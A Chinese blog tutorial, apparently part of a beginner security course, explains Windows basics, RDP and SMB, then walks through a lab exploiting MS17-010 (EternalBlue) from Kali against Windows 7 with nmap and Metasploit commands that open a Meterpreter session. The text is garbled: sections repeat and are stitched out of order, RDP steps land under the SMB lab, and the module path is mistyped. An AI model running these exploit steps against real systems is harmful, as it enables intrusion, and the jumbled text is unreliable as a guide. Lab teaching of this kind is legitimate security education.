欢迎光临
我们一直在努力

从零学网安第3期——Windows漏洞

一、学习总览

(一)学习目标

  • 掌握 Windows 系统核心基础:深入理解版本差异、账户权限、核心服务等底层逻辑,为安全分析打下坚实基础。
  • 熟练运用渗透工具:学会使用 Metasploit 等工具进行漏洞利用、后门排查与日志分析,并能在真实渗透测试场景中落地应用。
  • 具备应急响应能力:建立 Windows 系统安全事件的基础应急响应思维,能够快速识别并处理常见安全威胁。
  • 二、Windows 系统基础认知

    (一)为什么学 Windows 系统基础?

    • 企业场景占比极高:企业内部服务器、个人办公电脑中,Windows 系统占比极高,是渗透测试的核心目标之一。
    • 渗透测试的前提:系统基础是理解漏洞原理、工具使用的前提,只有 “知其然更知其所以然”,才能在攻防对抗中占据主动。

    (二)操作系统核心概念

    操作系统(Operating System, OS) 是管理和控制计算机硬件与软件资源的计算机程序,是直接运行在 “裸机” 上的最基本系统软件,所有其他软件都必须在操作系统的支持下才能运行。

    (三)主流操作系统分类

    操作系统 核心特点 应用场景
    windows 图形界面友好,兼容应用广泛 企业服务器、个人办公电脑、专用工业设备
    Linux 自由开源,稳定性高,安全性强,生态专,用户体验好 服务器、嵌入式设备、渗透测试环境、开发者工作站
    macOS 苹果专有,生态闭环,用户体验佳 设计师、开发者工作站

    (三)Windows 核心服务认知

    RDP 服务(远程桌面服务)
    • 定义:微软专有远程控制协议,默认占用3389 端口,支持图形化界面远程操作
    • 应用场景:远程办公(配合 VPN 使用)、服务器远程管理、技术支持(通过mstsc.exe发起协助)、云桌面服务
    • 安全关联:弱密码、未限制登录尝试、开启默认端口等配置不当情况,极易被暴力破解或远程攻击,是渗透测试中高频关注的服务
    (四)Windows 远程 RDP 连接前提

    (二)SMB 协议基础

    (三)漏洞利用实验(Kali + Win7)

    1. 实验环境

    (三)漏洞利用实验(Kali + Win7)

    1. 实验环境攻击机:
    Kali Linux(默认配置,安装 Metasploit 框架)

    目标机:Windows 7 旗舰版(IP:192.168.157.130,开启 SMB 服务,未安装 MS17-010 补丁)

    2.利用步骤

    (1)漏洞扫描

    使用nmap脚本检测目标是否存在 MS17-010 漏洞:

  • 网络连通性:两台电脑(控制端、被控制端)必须处于同一网络(如同一个 WiFi、同一个路由器,或都接入公司内网),网络能正常连通,不能断网。
  • 功能开启:被控制的电脑(要被控制的那台),必须开启 “远程桌面” 功能(默认关闭,需手动设置开启),允许其他电脑远程控制它。
  • 权限配置:被控制电脑需有可登录的 Windows 账号和密码,且账号具备远程访问权限,没有实现权限限制。
  • 信息获取:能够访问被控制电脑的 IP 地址(可通过ipconfig命令查询),或同一网络下的电脑名称,才能发起远程连接。

    三、Windows 系统服务安全:经典漏洞 MS17-010(永恒之蓝)

    (一)漏洞背景

  • 爆发时间:2017 年 4 月披露,2017 年 5 月衍生出 WannaCry 勒索病毒全球爆发
  • 影响范围:波及全球学校、企业、政府机构,病毒加密用户文件后索要支付比特币才能恢复
  • 漏洞原理:利用 Windows SMBv1 协议的漏洞,无需用户交互即可远程执行代码,完全控制目标服务器
  • 定义:客户端 / 服务器架构的请求 / 响应协议,主要用于文件共享、打印共享
  • 关联端口:Windows 系统默认开启的 SMB 协议依赖445 端口(SMB over TCP)
  • 攻击机:Kali Linux(默认配置,安装 Metasploit 框架)
  • 目标机:Windows 7 旗舰版(IP:192.168.157.130,开启 SMB 服务,未安装 MS17-010 补丁)
  • nmap –script smb-vuln-ms17-010 <目标IP>

    启动 Metasploit 框架

    msfconsole

    (3)搜索并加载利用模块

    search ms17-010
    use exploit/windows/smb.ms17_010_eternalblue

    (4)配置攻击参数

    set RHOSTS <目标IP>
    set LHOST <你的kali本机IP>
    exploit

    攻击成功后会获得目标机的Meterpreter

    五、总结与思考

    Windows 系统作为企业和个人用户的主流选择,其安全问题始终是攻防对抗的核心战场。从基础的版本差异、服务认知,到经典漏洞 MS17-010 的利用与防护,再到用户权限管理与后门技术,每一个环节都体现了 “知己知彼,百战不殆” 的安全思想。 对于安全从业者而言,掌握 Windows 系统底层逻辑,不仅是渗透测试的必备技能,更是构建安全防御体系的基础。而对于普通用户和企业管理员来说,及时更新系统补丁、关闭不必要服务、强化账户权限,是抵御绝大多数安全威胁的有效手段。 未来,随着 Windows 系统的不断迭代,新的安全挑战也将不断涌现,唯有持续学习、不断实践,才能在复杂的网络安全环境中站稳脚跟。

    赞(0)
    未经允许不得转载:171主机测评 » 从零学网安第3期——Windows漏洞
    分享到: 更多 (0)

    评论 抢沙发

    • 昵称 (必填)
    • 邮箱 (必填)
    • 网址